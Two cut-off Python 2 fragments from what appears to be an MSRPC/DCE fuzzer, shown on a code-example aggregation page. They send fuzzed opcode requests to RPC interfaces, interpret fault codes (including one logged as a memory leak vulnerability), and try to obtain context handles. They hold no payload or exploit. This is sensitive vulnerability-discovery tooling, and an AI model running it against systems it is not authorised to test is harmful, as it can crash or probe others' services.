                                            )
                                            self.done_with_element = True
                                            self.done_with_opcode = True
                                        else:
                                            if self.do_context_handle_grab:
                                                self.log(
                                                    "[*] Trying to get context handle function"
                                                )
                                                #we didn't have a context handle. So let's try to figure out how to get one
                                                if not self.try_to_get_context_handle(
                                                        uuid):
                                                    self.log(
                                                        "[*] We tried, but failed to get a valid context handle!"
                                                    )
                                                    #set this so we don't try again
                                                    self.get_context_handle_opcode = False
                                                    self.done_with_element = True
                                                    self.done_with_opcode = True
                                        continue
                                    elif str(msg).count("6f7"):
                                        self.log("[*] Bad marshaller?")
                                        #not sure if I want this next line...
                                        self.done_with_element = True
                                        continue
                                    elif str(msg).count("received 5"):
                                        self.log("[*] Bad authentication")
                                        self.done_with_element = True
                                        self.done_with_opcode = True
                                        continue
                                    elif str(msg).count("Broken pipe"):
                                        self.log("[*] Broken pipe")
                                        continue
                                    elif str(msg).count(
                                            "unpack requires a string argument of length"
                                    ):
                                        self.log("[*] SMB error: %s" % msg)
                                        #essentially we are a size_is and we're sending huge amounts of data...no need to continue this.
                                        self.done_with_element = True
                                        continue
                                    elif str(msg).count(
                                            "A failed packet received 1c00001b"
                                    ):
                                        self.log(
                                            "[*] Found memory leak vulnerability!"
                                        )
                                        self.done_with_element = True
                                    elif str(msg).count("1c010003"):
                                        self.log(
                                            "[*] No such interface, sorry")
                                        self.done_with_ifid = True
                                        self.done_with_element = True
                                        self.done_with_opcode = True
                                        continue
                                    elif str(msg).count("1c010002") or str(
                                            msg).count("c002002e"):
                                        self.log(
                                            "[*] opcode is > than implemented opcodes!"
                                        )
                                        self.done_with_ifid = True
                                        self.done_with_element = True
                                        self.done_with_opcode = True
                                        continue
                                    elif str(msg).count("1c000006"):
                                        self.log("[*] nca_s_fault_invalid_tag")
                                        #who knows?
                                        continue
                                    elif str(msg).count("1c000007"):
                                        self.log("[*] Invalid bound error")
                                        self.done_with_element = True
                                        continue
                                    elif str(msg).count("1c000017"):
                                        self.log("[*] Pipe Discipline fault")
                                        continue
                                    elif str(msg).count("timeout"):
                                        self.log(
                                            "[*] Timeout on RECV - sitting in exception in debugger?"
                                        )
                                        continue
                                    elif str(msg).count(
                                            "Connection reset by peer"):
                                        self.log(
                                            "[*] Connection reset by peer - very strange. Did someone kill the process?"
                                        )
                                        continue
                                    else:
                                        self.log("msg: %s" % msg)
                                        raise

                                recvbuffer = None
                                if ret:
                                    recvbuffer = msrpc.get_all_stubs(ret)
                                else:
                                    self.log("[*] No response received?")
                                if recvbuffer:
                                    self.log("[*] Received [%s]" %
                                             print_hex(recvbuffer))
예제 #19
0
            return ret

        self.log("[*] Connected")
        self.log("[*] Sending %s [opcode: %d]" % (uuid.ifid, opcode.opnum))
        self.log("[*] Length of request [%s]" % len(request))
        #self.log("[*] Request: %s"%print_hex(request))
        try:
            ret = mydce.call(opcode.opnum, request, response=1)
            self.log("[*] Sent - got ret")
        except msrpc.DCEException, msg:
            self.log("[*] DCE Exception: %s" % str(msg))
            return ""
        #otherwise, we got a response!
        recvbuffer = None
        if ret:
            recvbuffer = msrpc.get_all_stubs(ret)
        else:
            self.log("[*] No response received?")
        if recvbuffer:
            self.log("[*] Received [%s]" % print_hex(recvbuffer))
            if len(recvbuffer) < 4:
                self.log("[*] Did not get enough data?!?")
                return ""
            rpcerror = struct.unpack("<L", recvbuffer[:4])[0]
            if rpcerror != 0:  #RPC SUCCESS
                self.log(
                    "[*] Not successful at getting context handle with %s:%d" %
                    (default_string, default_int))
                return ""
            if len(recvbuffer) >= 24:
                context_handle = recvbuffer[:20]